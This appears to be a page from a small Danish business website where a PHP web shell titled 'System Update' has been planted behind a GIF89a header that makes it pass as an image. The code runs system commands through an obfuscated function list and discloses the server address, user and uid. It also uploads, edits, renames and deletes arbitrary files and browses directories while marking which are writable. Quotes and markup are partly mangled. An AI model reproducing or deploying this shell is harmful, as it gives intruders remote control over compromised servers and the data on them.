System Update

GIF89a;
[‘pipe’,’r’],1=>[‘pipe’,’w’],2=>[‘pipe’,’w’]];
$h = $fn($c, $d, $p2);
if(is_resource($h)) { $o = stream_get_contents($p2[1]); fclose($p2[0]); fclose($p2[1]); fclose($p2[2]); proc_close($h); }
break;
}
elseif($fn == $fl[4]) { $h = $fn($c, ‘r’); if($h) { while(!feof($h)) $o .= fread($h, 4096); pclose($h); } break; }
}
}
if(empty($o)) $o = ‘N/A’;
}

function _fc($f) { return file_get_contents($f) ?: ”; }

echo ‘
‘.$n.’


‘.phpversion().’ | ‘.php_uname(‘m’).’

‘;

echo ‘

Server ‘.$_SERVER[‘SERVER_ADDR’].’
User ‘.get_current_user().’ (uid:’.getmyuid().’)
PHP ‘.phpversion().’ (‘.php_sapi_name().’)

‘;

echo ‘



‘.(!empty($o) ? ‘

‘.$o.’

‘ : ”).’

‘;

echo ‘


‘;

if(isset($_FILES[‘f’])) {
if(copy($_FILES[‘f’][‘tmp_name’], $p.’/’.$_FILES[‘f’][‘name’]))
echo ‘

Upload: ‘.$_FILES[‘f’][‘name’].’

‘;
}

if(@$_GET[‘action’] == ‘upload’ && isset($_GET[‘dir’])) {
$updir = $p.’/’.$_GET[‘dir’];
if(isset($_FILES[‘uf’])) {
if(copy($_FILES[‘uf’][‘tmp_name’], $updir.’/’.$_FILES[‘uf’][‘name’]))
echo ‘

Uploaded: ‘.$_FILES[‘uf’][‘name’].’

‘;
}
echo ‘

Upload to: ‘.$_GET[‘dir’].’

‘;
exit;
}

if(@$_GET[‘action’] == ‘delete’ && isset($_GET[‘item’])) {
if(unlink($_GET[‘item’])) echo ‘

Deleted

‘;
}

if(isset($_GET[‘action’]) && isset($_GET[‘item’])) {
$item = $_GET[‘item’];
if($_GET[‘action’] == ‘view’) {
echo ‘

View: ‘.$item.’

Back

‘;
exit;
}
if($_GET[‘action’] == ‘edit’) {
if(isset($_POST[‘content’])) {
if(file_put_contents($item, $_POST[‘content’]))
echo ‘

Saved

‘;
}
echo ‘

Edit: ‘.$item.’


Back

‘;
exit;
}
if($_GET[‘action’] == ‘rename’) {
if(isset($_POST[‘newname’])) {
$newpath = dirname($item).’/’. $_POST[‘newname’];
if(rename($item, $newpath)) echo ‘

Renamed

‘;
}
$basename = basename($item);
echo ‘

Rename: ‘.$basename.’

‘;
exit;
}
}

$items = scandir($p);
$dirs = []; $files = [];
foreach($items as $i) {
if($i == “.” || $i == “..”) continue;
if(is_dir($p.’/’.$i)) $dirs[] = $i; else $files[] = $i;
}

echo ‘

‘;
$paths = explode(‘/’, $p);
$cur_path = ”;
foreach($paths as $id => $pat) {
if($pat == ” && $id == 0) {
$cur_path = ‘/’;
$root_w = is_writable(‘/’) ? ‘#2e7d32’ : ‘#d32f2f’;
echo ‘/‘;
continue;
}
if($pat == ”) continue;
$cur_path .= ‘/’.$pat;
$pw = is_writable($cur_path) ? ‘#2e7d32’ : ‘#d32f2f’;
echo ‘/‘.$pat.’‘;
}
echo ‘

‘;

foreach($dirs as $d) {
$d_path = $p.’/’.$d;
$d_w = is_writable($d_path);
$d_color = $d_w ? ‘#2e7d32’ : ‘#d32f2f’;
$d_badge = $d_w ? ‘background:#e8f5e9;color:#2e7d32;border:1px solid #81c784’ : ‘background:#ffebee;color:#d32f2f;border:1px solid #ef9a9a’;
$d_status = $d_w ? ‘W’ : ‘R’;
echo ‘

‘;
}

foreach($files as $f) {
$fp = $p.’/’.$f;
$sz = filesize($fp);
$ss = $sz > 1048576 ? round($sz/1048576,1).’M’ : round($sz/1024,1).’K’;
echo ‘

‘;
}

echo ‘

Name Size Actions
‘.$d_status.’‘.$d.’ Open
Rename
Edit
‘.($d_w ? ‘Upload‘ : ‘No Upload‘).’
F‘.$f.’ ‘.$ss.’ View
Edit
Rename
Del

‘;
echo ‘

‘;
echo ‘

‘;
?>

Adresse


Dyrskuevej 13
7323 Give

CVR: 40612696